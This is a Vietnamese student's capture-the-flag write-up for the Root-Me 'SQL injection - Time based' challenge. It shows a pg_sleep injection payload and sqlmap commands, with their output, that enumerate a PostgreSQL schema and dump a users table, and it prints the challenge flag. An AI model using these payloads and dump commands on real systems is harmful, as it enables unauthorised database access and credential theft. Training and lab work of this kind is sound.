

Lê Hoàng Phúc

MSSV: 20521763

Lớp: Bảo mật web và ứng dụng - NT213.N21.ANTN

Tên challenge : SQL injection - Time based

Link challenge : <https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Time-based>

Đầu tiên vào trang member chọn admin:

Sử dụng payload sau để truyền thì thấy thời gian response trả về khá lâu:

1;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--

;select case when 1=1 then pg_sleep(5) else pg_sleep(0) end -- -

The screenshot displays the browser's developer tools. The 'Request' tab shows a GET request to `/web-servneur/ch40/?action=member&member=1;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end-- HTTP/1.1`. The 'Response' tab shows a 200 OK status with an HTML body containing a title 'SQL injection - Time-Based' and a link to 'style.css'. The 'Inspector' panel shows the selected text '1;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--' and its decoded form '1;select case when 1=1 then pg_sleep(5) else pg_sleep(0) end--'.

⇒ Database sử dụng là postgres sql

Em sẽ dùng sqlmap để giải bài này :

Lấy current database:

```
python.exe .\sqlmap.py -u "http://challenge01.root-me.org/web-servneur/ch40/?action=member&member=1" --time-sec=10 -dbs
```

```

15:10:45] [WARNING] in case of continuous data retrieval problems you are advised to try a switch --no-case- or switch
'--hex'
15:10:45] [INFO] retrieved:
15:10:46] [INFO] retrieved:
15:10:47] [INFO] falling back to current database
15:10:47] [INFO] fetching current database
15:10:47] [INFO] retrieved: public
15:11:36] [WARNING] on PostgreSQL you'll need to use schema names for enumeration as the counterpart to database names
in other DBMSes
available databases [1]:
*1 public

```

Tìm các table trong database public:

```
python.exe .\sqlmap.py -u "http://challenge01.root-me.org/web-
serveur/ch40/?action=member&member=1" --time-sec=10 -D public -tables
```

```

[15:14:01] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.....
..... (done)
users
Database: public
[1 table]
+-----+
| users |
+-----+

[15:14:47] [INFO] fetched data logged to text files under 'C:\Users\phl23\AppData\Local\sqlmap\output\challeng
e.org'

[*] ending @ 15:14:47 /2023-04-20/

```

Tìm các collmn trong bảng users :

```
python.exe .\sqlmap.py -u "http://challenge01.root-me.org/web-
serveur/ch40/?action=member&member=1" --time-sec=10 -D public -T users --columns
```

```

Database: public
Table: users
[6 columns]
+-----+-----+
| Column | Type  |
+-----+-----+
| password | varchar |
| email    | varchar |
| firstname | varchar |
| id       | int4   |
| lastname | varchar |
| username | varchar |
+-----+-----+

[15:16:03] [INFO] fetched data logged to text files under 'C:\Users\phl23\AppData\Local\sqlmap\output\challeng
e.org'

[*] ending @ 15:16:03 /2023-04-20/

```

Lấy ra thông tin các collumn:

Tìm được password :

```
sqlmap -u "http://challenge01.root-me.org/web-serveur/ch40/?action=member&member=1" --time-
sec=10 -D public -T users -C id,email,username,password --dump
```

```

ou yca
: [04:30:40] [ERROR] invalid character detected. retrying..
ou m@sqlitimebased.com
: [04:33:12] [INFO] retrieved: 1
ou [04:33:19] [INFO] retrieved: T!m3B@s3DSQL!
: [04:35:09] [INFO] retrieved:
ou [04:35:10] [WARNING] in case of continuous data retrieval problems
:

```

Lệnh trên em chạy trên kali linux , em không hiểu sao khi chạy sqlmap trên windows thì lại không ra được password.

```

Database: public
Table: users
[3 entries]
+-----+-----+-----+-----+
| id | password | email | username |
+-----+-----+-----+-----+
| 1 | <blank> | ycam@sqlitimebased.com | <blank> |
| 2 | <blank> | jsilver@sqlitimebased.com | <blank> |
| 3 | <blank> | jsparow@sqlitimebased.com | <blank> |
+-----+-----+-----+-----+

```

Flag : T!m3B@s3DSQL!

Time : 60p